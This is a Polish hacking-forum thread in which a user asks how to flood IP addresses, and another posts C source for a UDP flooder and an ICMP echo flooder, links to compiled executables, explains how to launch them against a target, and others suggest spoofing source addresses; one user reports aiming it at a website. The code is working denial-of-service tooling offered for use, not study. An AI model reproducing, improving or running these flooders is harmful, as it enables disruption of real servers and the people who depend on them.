Pingowanie IP?

Czechu1906

Użytkownik
Dołączył
Maj 30, 2010
Posty
1
Witam,mam różne IP i chciałbym je spingować ściagam rózne programy do pingowania lecz one nic nie dają.
Jak skutecznie spingować?
Kolega kiedyś puścił mi takiego pinga ,że google nie chciały się otworzyć ,lecz nie chce mi wyjawić jak.
Czy nasza prędkość internetu ma coś do jakiego pinga puścimy?
Proszę o odpowiedź i podesłanie linka do programu .
Z góry dzieki!
 

cyber_pl

Użytkownik
Dołączył
Wrzesień 30, 2009
Posty
187
Wiekszosc programow wysylajacych icmp echo pracuje na surowych gniazdach ktore zostaly ograniczone od winxpsp2 nie pracuja.

Zalatw sobie lepiej prosty flooder UDP, mozesz np lekko zmodyfikowac te zrodlo i bedziesz mial wlasnego.

Kod:
//==================================================== file = udpClient.c =====
//=  A message "client" program to demonstrate sockets programming            =
//=============================================================================
//=  Notes:                                                                   =
//=    1) This program conditionally compiles for Winsock and BSD sockets.    =
//=       Set the initial #define to WIN or BSD as appropriate.               =
//=    2) This program needs udpServer to be running on another host.         =
//=       Program udpServer must be started first.                            =
//=    3) This program assumes that the IP address of the host running        =
//=       udpServer is defined in "#define IP_ADDR"                           =
//=    4) The steps #'s correspond to lecture topics.                         =
//=---------------------------------------------------------------------------=
//=  Example execution: (udpServer and udpClient running on host 127.0.0.1)   =
//=    Received from server: This is a reply message from SERVER to CLIENT    =
//=---------------------------------------------------------------------------=
//=  Build: bcc32 ucpClient.c or cl udpClient.c wsock32.lib for Winsock       =
//=         gcc udpClient.c -lsocket -lnsl for BSD                            =
//=---------------------------------------------------------------------------=
//=  Execute: udpClient                                                       =
//=---------------------------------------------------------------------------=
//=  Author: Ken Christensen                                                  =
//=          University of South Florida                                      =
//=          WWW: http://www.csee.usf.edu/~christen                           =
//=          Email: [email protected]                                     =
//=---------------------------------------------------------------------------=
//=  History:  KJC (08/02/08) - Genesis (from client.c)                       =
//=            KJC (09/09/09) - Minor clean-up                                =
//=============================================================================
#define  WIN                // WIN for Winsock and BSD for BSD sockets

//----- Include files ---------------------------------------------------------
#include <stdio.h>          // Needed for printf()
#include <string.h>         // Needed for memcpy() and strcpy()
#ifdef WIN
  #include <windows.h>      // Needed for all Winsock stuff
#endif
#ifdef BSD
  #include <sys/types.h>    // Needed for sockets stuff
  #include <netinet/in.h>   // Needed for sockets stuff
  #include <sys/socket.h>   // Needed for sockets stuff
  #include <arpa/inet.h>    // Needed for sockets stuff
  #include <fcntl.h>        // Needed for sockets stuff
  #include <netdb.h>        // Needed for sockets stuff
#endif

//----- Defines ---------------------------------------------------------------
#define  PORT_NUM           1050  // Port number used
#define  IP_ADDR      "127.0.0.1" // IP address of server1 (*** HARDWIRED ***)

//===== Main program ==========================================================
void main(void)
{
#ifdef WIN
  WORD wVersionRequested = MAKEWORD(1,1);       // Stuff for WSA functions
  WSADATA wsaData;                              // Stuff for WSA functions
#endif
  int                  client_s;        // Client socket descriptor
  struct sockaddr_in   server_addr;     // Server Internet address
  int                  addr_len;        // Internet address length
  char                 out_buf[4096];   // Output buffer for data
  char                 in_buf[4096];    // Input buffer for data
  int                  retcode;         // Return code

#ifdef WIN
  // This stuff initializes winsock
  WSAStartup(wVersionRequested, &wsaData);
#endif

  // >>> Step #1 <<<
  // Create a socket
  //   - AF_INET is Address Family Internet and SOCK_DGRAM is datagram
  client_s = socket(AF_INET, SOCK_DGRAM, 0);
  if (client_s < 0)
  {
    printf("*** ERROR - socket() failed \n");
    exit(-1);
  }

  // >>> Step #2 <<<
  // Fill-in server1 socket's address information
  server_addr.sin_family = AF_INET;                 // Address family to use
  server_addr.sin_port = htons(PORT_NUM);           // Port num to use
  server_addr.sin_addr.s_addr = inet_addr(IP_ADDR); // IP address to use

  // Assign a message to buffer out_buf
  strcpy(out_buf, "Test message from CLIENT to SERVER");

  // >>> Step #3 <<<
  // Now send the message to server.  The "+ 1" is for the end-of-string
  // delimiter
  retcode = sendto(client_s, out_buf, (strlen(out_buf) + 1), 0,
    (struct sockaddr *)&server_addr, sizeof(server_addr));
  if (retcode < 0)
  {
    printf("*** ERROR - sendto() failed \n");
    exit(-1);
  }

  // >>> Step #4 <<<
  // Wait to receive a message
  addr_len = sizeof(server_addr);
  retcode = recvfrom(client_s, in_buf, sizeof(in_buf), 0,
    (struct sockaddr *)&server_addr, &addr_len);
  if (retcode < 0)
  {
    printf("*** ERROR - recvfrom() failed \n");
    exit(-1);
  }

  // Output the received message
  printf("Received from server: %s \n", in_buf);

  // >>> Step #5 <<<
  // Close all open sockets
#ifdef WIN
  retcode = closesocket(client_s);
  if (retcode < 0)
  {
    printf("*** ERROR - closesocket() failed \n");
    exit(-1);
  }
#endif
#ifdef BSD
  retcode = close(client_s);
  if (retcode < 0)
  {
    printf("*** ERROR - close() failed \n");
    exit(-1);
  }
#endif

#ifdef WIN
  // This stuff cleans-up winsock
  WSACleanup();
#endif
}
 

nighthunter95

Użytkownik
Dołączył
Maj 27, 2010
Posty
28
cyber_pl czy czytając post checha1906 sądziłeś, że on bedzie umiał wykorzystać ten kod źródłowy? :D

I powiedz mi na jakiej zasadzie działa ten flooder do którego dałeś kod źródłowy?
 

cyber_pl

Użytkownik
Dołączył
Wrzesień 30, 2009
Posty
187
to nie flooder tylko tak jak jest napisane w naglowku program przykladowy jak utworzyc socket datagramowy i jak na niego wysylac dane, aby to byl flooder trzeba by dodac jedna petle ... potrudzilem sie jedna miute i prosze, prosty kod zamienil sie w flooder:

Kod:
#define  WIN                // WIN for Winsock and BSD for BSD sockets

//----- Include files ---------------------------------------------------------
#include <stdio.h>          // Needed for printf()
#include <string.h>         // Needed for memcpy() and strcpy()
#ifdef WIN
  #include <windows.h>      // Needed for all Winsock stuff
#endif
#ifdef BSD
  #include <sys/types.h>    // Needed for sockets stuff
  #include <netinet/in.h>   // Needed for sockets stuff
  #include <sys/socket.h>   // Needed for sockets stuff
  #include <arpa/inet.h>    // Needed for sockets stuff
  #include <fcntl.h>        // Needed for sockets stuff
  #include <netdb.h>        // Needed for sockets stuff
#endif

//----- Defines ---------------------------------------------------------------
#define  PORT_NUM           atoi(argv[2])  // Port number used
#define  IP_ADDR      argv[1] // IP address of server1 (*** HARDWIRED ***)

//===== Main program ==========================================================
void main(int argc,char **argv)
{
     
     if(argc<4 || atoi(argv[3]) > 4096) { puts("udp.exe ipv4 port packetsize (max 4096)"); return; }

#ifdef WIN
  WORD wVersionRequested = MAKEWORD(1,1);       // Stuff for WSA functions
  WSADATA wsaData;                              // Stuff for WSA functions
#endif
  int                  client_s;        // Client socket descriptor
  struct sockaddr_in   server_addr;     // Server Internet address
  int                  addr_len;        // Internet address length
  //wysylamy zawartosc smieci ze stosu ...
  char                 out_buf[4096];   // Output buffer for data
  char                 in_buf[4096];    // Input buffer for data
  int                  retcode;         // Return code

#ifdef WIN
  // This stuff initializes winsock
  WSAStartup(wVersionRequested, &wsaData);
#endif

  // >>> Step #1 <<<
  // Create a socket
  //   - AF_INET is Address Family Internet and SOCK_DGRAM is datagram
  client_s = socket(AF_INET, SOCK_DGRAM, 0);
  if (client_s < 0)
  {
    printf("*** ERROR - socket() failed \n");
    exit(-1);
  }

  // >>> Step #2 <<<
  // Fill-in server1 socket's address information
  server_addr.sin_family = AF_INET;                 // Address family to use
  server_addr.sin_port = htons(PORT_NUM);           // Port num to use
  server_addr.sin_addr.s_addr = inet_addr(IP_ADDR); // IP address to use

  // Assign a message to buffer out_buf
  //strcpy(out_buf, "Test message from CLIENT to SERVER");

  // >>> Step #3 <<<
  // Now send the message to server.  The "+ 1" is for the end-of-string
  // delimiter
  while(1) { sendto(client_s, out_buf, atoi(argv[3]), 0,
    (struct sockaddr *)&server_addr, sizeof(server_addr)); Sleep(10); }
  //if (retcode < 0)
  //{
  //  printf("*** ERROR - sendto() failed \n");
  //  exit(-1);
  //}

  // >>> Step #4 <<<
  // Wait to receive a message
  /*
  addr_len = sizeof(server_addr);
  retcode = recvfrom(client_s, in_buf, sizeof(in_buf), 0,
    (struct sockaddr *)&server_addr, &addr_len);
  if (retcode < 0)
  {
    printf("*** ERROR - recvfrom() failed \n");
    exit(-1);
  }

  // Output the received message
  printf("Received from server: %s \n", in_buf);
  */
  // >>> Step #5 <<<
  // Close all open sockets
#ifdef WIN
  retcode = closesocket(client_s);
  if (retcode < 0)
  {
    printf("*** ERROR - closesocket() failed \n");
    exit(-1);
  }
#endif
#ifdef BSD
  retcode = close(client_s);
  if (retcode < 0)
  {
    printf("*** ERROR - close() failed \n");
    exit(-1);
  }
#endif

#ifdef WIN
  // This stuff cleans-up winsock
  WSACleanup();
#endif
}

tutaj mozecie pobrac skompilowany program exe (6KB): http://www.sendspace.pl/file/3cd3298a1e99bdbe7e801ff

a tutaj widac jak leca pakiety wygenerowane przez program w srodowisku win7:

http://img249.imageshack.us/img249/9298/udpfloodjpg.jpg
 

cyber_pl

Użytkownik
Dołączył
Wrzesień 30, 2009
Posty
187
jak nie udp to zapodam wam flooder icmp, z racji tego ze nie wykorzystuje raw socket a integralna biblioteke ms powinien pracowac dobrze, tak samo jak narzedzie ping.

kod znaleziony w sieci, lekko zmodyfikowany by ja:

Kod:
//
// PingI.c -- ŚĹ—L‚ĚMicrosoft ICMP API‚đŽg—p‚µ‚˝
//			  PingƒvƒŤƒOƒ‰ƒ€
//
 
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <string.h>

//losujemy znaki z zakresu asci
#define RAND 65 + rand() % 57

// ƒGƒR[—v‹ƒIƒvƒVƒ‡ƒ“
typedef struct tagIPINFO
{
	u_char Ttl;				// ‘‘±ŽžŠÔ
	u_char Tos;				// ƒT[ƒrƒX‚ĚŽí—Ţ
	u_char IPFlags;			// IPƒtƒ‰ƒO
	u_char OptSize;			// ƒIƒvƒVƒ‡ƒ“ƒf[ƒ^‚̃TƒCƒY
	u_char FAR *Options;	// ƒIƒvƒVƒ‡ƒ“ƒf[ƒ^ƒoƒbƒtƒ@
}IPINFO, *PIPINFO;

// ƒGƒR[‰ž“šŤ\‘˘‘Ě
typedef struct tagICMPECHO
{
	u_long Source;			// ƒ\[ƒXƒAƒhƒŚƒX
	u_long Status;			// IPƒXƒe[ƒ^ƒX
	u_long RTTime;			// ƒ‰ƒEƒ“ƒhƒgƒŠƒbƒvŽžŠÔiƒ~ƒŠbj
	u_short DataSize;		// ‰ž“šƒf[ƒ^ƒTƒCƒY
	u_short Reserved;		// –˘’č
	void FAR *pData;		// ‰ž“šƒf[ƒ^ƒoƒbƒtƒ@
	IPINFO	ipInfo;			// ‰ž“šƒIƒvƒVƒ‡ƒ“
}ICMPECHO, *PICMPECHO;


// ICMP.DLLƒGƒNƒXƒ|[ƒgŠÖ”‚̃|ƒCƒ“ƒ^
HANDLE (WINAPI *pIcmpCreateFile)(VOID);
BOOL (WINAPI *pIcmpCloseHandle)(HANDLE);
DWORD (WINAPI *pIcmpSendEcho)
	(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD);

//
// main()
void main(int argc, char **argv)
{
	WSADATA wsaData;			// WSADATA
	ICMPECHO icmpEcho;			// ICMPƒGƒR[‰ž“šƒoƒbƒtƒ@
	HANDLE hndlIcmp;			// ICMP.DLL‚Ö‚ĚLoadLibrary()ƒnƒ“ƒhƒ‹
	HANDLE hndlFile;			// IcmpCreateFile()‚ւ̃nƒ“ƒhƒ‹
    LPHOSTENT pHost;			// ƒzƒXƒgƒGƒ“ƒgƒŠŤ\‘˘‘̂ւ̃|ƒCƒ“ƒ^
    struct in_addr iaDest;		// ƒCƒ“ƒ^[ƒlƒbƒgƒAƒhƒŚƒXŤ\‘˘‘Ě
	DWORD *dwAddress;			// IPƒAƒhƒŚƒX
	IPINFO ipInfo;				// IPƒIƒvƒVƒ‡ƒ“Ť\‘˘‘Ě
	int nRet;					// ”Ä—p‚Ě–ß‚čƒR[ƒh
	DWORD dwRet;				// DWORD–ß‚čƒR[ƒh
	int x;

    //buffor zdefiniowany na stosie
    char OUTBUFF[65000]; x = 65000;

    while(x--) OUTBUFF[x] = RAND;
        
	// ˆř”‚đƒ`ƒFƒbƒN
	if (argc != 4)
	{
		fprintf(stderr,"\nSyntax: ping ip/hpstanme waittime (milisec) packsize (max 65000)\n");
		return;
	}

	// ICMP.DLL‚đ“Ÿ“I‚ɃŤ[ƒh
	hndlIcmp = LoadLibrary("ICMP.DLL");
	if (hndlIcmp == NULL)
	{
		fprintf(stderr,"\nCould not load ICMP.DLL\n");
		return;
	}
	// ICMPŠÖ”ƒ|ƒCƒ“ƒ^‚đŽć“ľ
	pIcmpCreateFile = (HANDLE (WINAPI *)(void))
		GetProcAddress(hndlIcmp,"IcmpCreateFile");
	pIcmpCloseHandle = (BOOL (WINAPI *)(HANDLE))
		GetProcAddress(hndlIcmp,"IcmpCloseHandle");
	pIcmpSendEcho = (DWORD (WINAPI *)
		(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD))
		GetProcAddress(hndlIcmp,"IcmpSendEcho");
	// ‚·‚ׂĂ̊֐”ƒ|ƒCƒ“ƒ^‚đƒ`ƒFƒbƒN
	if (pIcmpCreateFile == NULL		|| 
		pIcmpCloseHandle == NULL	||
		pIcmpSendEcho == NULL)
	{
		fprintf(stderr,"\nError getting ICMP proc address\n");
		FreeLibrary(hndlIcmp);
		return;
	}

	// WinSock‚ĚŹ‰Šú‰»
	nRet = WSAStartup(0x0101, &wsaData );
    if (nRet)
    {
        fprintf(stderr,"\nWSAStartup() error: %d\n", nRet); 
        WSACleanup();
		FreeLibrary(hndlIcmp);
        return;
    }
    // WinSock‚̃o[ƒWƒ‡ƒ“‚đƒ`ƒFƒbƒN
    if (0x0101 != wsaData.wVersion)
    {
        fprintf(stderr,"\nWinSock version 1.1 not supported\n");
        WSACleanup();
		FreeLibrary(hndlIcmp);
        return;
    }

	// ˆć‚ĚŚźŤő
	// inet_addr()‚đŽg—p‚µ‚āA–Ľ‘O‚ƃAƒhƒŚƒX‚Ě
	// ‚Ç‚ż‚ç‚đˆµ‚Á‚Ä‚˘‚邈‚đ”»Ę‚·‚é
    iaDest.s_addr = inet_addr(argv[1]);
    if (iaDest.s_addr == INADDR_NONE)
        pHost = gethostbyname(argv[1]);
    else
        pHost = gethostbyaddr((const char *)&iaDest, 
                        sizeof(struct in_addr), AF_INET);
	if (pHost == NULL)
	{
		fprintf(stderr, "\n%s not found\n", argv[1]);
        WSACleanup();
		FreeLibrary(hndlIcmp);
		return;
	}

	// “ŸŤěŹó‹µ‚đƒ†[ƒU[‚É\Ž¦
	printf("\nPinging %s [%s]\n\n", pHost->h_name,
			inet_ntoa((*(LPIN_ADDR)pHost->h_addr_list[0])));

	// IPƒAƒhƒŚƒX‚đƒRƒs[
	dwAddress = (DWORD *)(*pHost->h_addr_list);

	// ICMPƒGƒR[—v‹ƒnƒ“ƒhƒ‹‚đŽć“ľ
	hndlFile = pIcmpCreateFile();
	// Ping‚đ4‰ńŽŔŤs‚·‚é
	for (x = 0;; x++)
	{
		// “KŘ‚ȃfƒtƒHƒ‹ƒg’l‚đÝ’č
		ipInfo.Ttl = 255;
		ipInfo.Tos = 0;
		ipInfo.IPFlags = 0;
		ipInfo.OptSize = 0;
		ipInfo.Options = NULL;
		//icmpEcho.ipInfo.Ttl = 256;
		// ICMPƒGƒR[‚đ—v‹
		dwRet = pIcmpSendEcho(
			hndlFile,		// IcmpCreateFile()‚ˆ‚ç‚̃nƒ“ƒhƒ‹
			*dwAddress,		// ˆćIPƒAƒhƒŚƒX
			(char *)&OUTBUFF,			// ‘—M‚·‚éƒoƒbƒtƒ@‚ւ̃|ƒCƒ“ƒ^
			(atoi(argv[3]) && atoi(argv[3]) < 65000)?atoi(argv[3]):65000,				// ƒoƒbƒtƒ@‚̃TƒCƒYiƒoƒCƒg”j
			&ipInfo,		// —v‹ƒIƒvƒVƒ‡ƒ“
			&icmpEcho,		// ‰ž“šƒoƒbƒtƒ@
			sizeof(struct tagICMPECHO),
			(atoi(argv[2]))?atoi(argv[2]):1000);			// ‘Ň‹@ŽžŠÔiƒ~ƒŠbj
		// Ś‹‰Ę‚đŹo—Í
		//iaDest.s_addr = icmpEcho.Source;
		//printf("\nReply from %s  Time=%ldms  TTL=%d",
		//		inet_ntoa(iaDest),
		//		icmpEcho.RTTime,
		//		icmpEcho.ipInfo.Ttl);
		
		if(x%2) printf("\b.");
		else printf("\b ");
		
	}
	printf("\n");
	// ƒGƒR[—v‹ƒtƒ@ƒCƒ‹ƒnƒ“ƒhƒ‹‚đ‚‚é
	pIcmpCloseHandle(hndlFile);
	FreeLibrary(hndlIcmp);
	WSACleanup();
}

tutaj mozecie pobrac exe (7KB) wolne od malware: http://www.sendspace.pl/file/943c8b7b92a307ffb56917e

parametry wywolania to:
Kod:
ping ip/hostanme waittime (milisec) packsize (max 65000)

a tutaj widac jak ladny flood leci z maszyny win7:
http://img692.imageshack.us/img692/9169/icmp.jpg
 

nighthunter95

Użytkownik
Dołączył
Maj 27, 2010
Posty
28
Może pytanie, które w tym momecie zadam bedzie dla was wrecz śmieszne, ale jak to uruchomić? :D

Skompliowałem sobie fajniutko ten kod w exe, ładnie sobie próbuje to odpalić otwiera sie czarne okienko po czym zaraz znika. Może coś źle robie albo w ogóle całkiem nie tak no, ale cóż... Powiecie mi jak to zrobić?

Tylko prosze, nie śmiejcie sie ze mnie. xd
 

BambiTheGrey

Użytkownik
Dołączył
Listopad 4, 2009
Posty
7
odpalasz wiersz poleceń (cmd)
przechodzisz do katalogu w którym znajduje się aplikacja
odpalasz z odpowiednimi parametrami
np
Kod:
icmp.exe 127.0.0.1(adress ip) 200(odstęp czasowy) 1500(rozmiar pakietu)
 

nighthunter95

Użytkownik
Dołączył
Maj 27, 2010
Posty
28
No dobra, a wytłumaczy mi ktoś jak ten flooder dokładnie działa?
Na czym polega jego działanie??
Co daje działanie takiego floodera i co można dzieki niemu zrobić??
 

cyber_pl

Użytkownik
Dołączył
Wrzesień 30, 2009
Posty
187
z angielskiego flood znaczy zalanie, a zalanie jakiegos hosta zapytaniami powoduje rozne efekty tj wykorzystanie jego lacza sieciowego lub tez wykorzystanie zasobow systemowych na wykonanie standardowych czynnosci.

http://pl.wikipedia.org/wiki/DoS

program dziala tak:

tworzy na stosie programu tablice o pojemnosci ~4000 bajtow, pozniej losuje zawartosc tej tablicy znakami z tablicy asci po czym probuje zaladowac biblioteke skladowa systemu windows icmp.dll ktora implementuje protokul icmp. Program odwoluje sie do konkretnej funkcji aby wyslac pakiet z flaga ECHO REQUEST wraz z wygenerowanymi danymi.

http://edu.pjwstk.edu.pl/wyklady/bsi/scb/main40.html
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Tyle ze lepiej byloby kozystac z RAW socketow i falszowac pole nadawcy. Bo tak to malo skuteczny atak bedzie.
 

xprox3000

Użytkownik
Dołączył
Maj 13, 2008
Posty
6
To chyba nie działa albo ja coś źle robie ?
Da rade tym położyć strone ?

C:\Users\asd>icmp.exe www.(strona) 200 2500

Pinging apache2.ninet.nf [203.142.221.71]



I dalej nic nie idzie
 
Do góry Bottom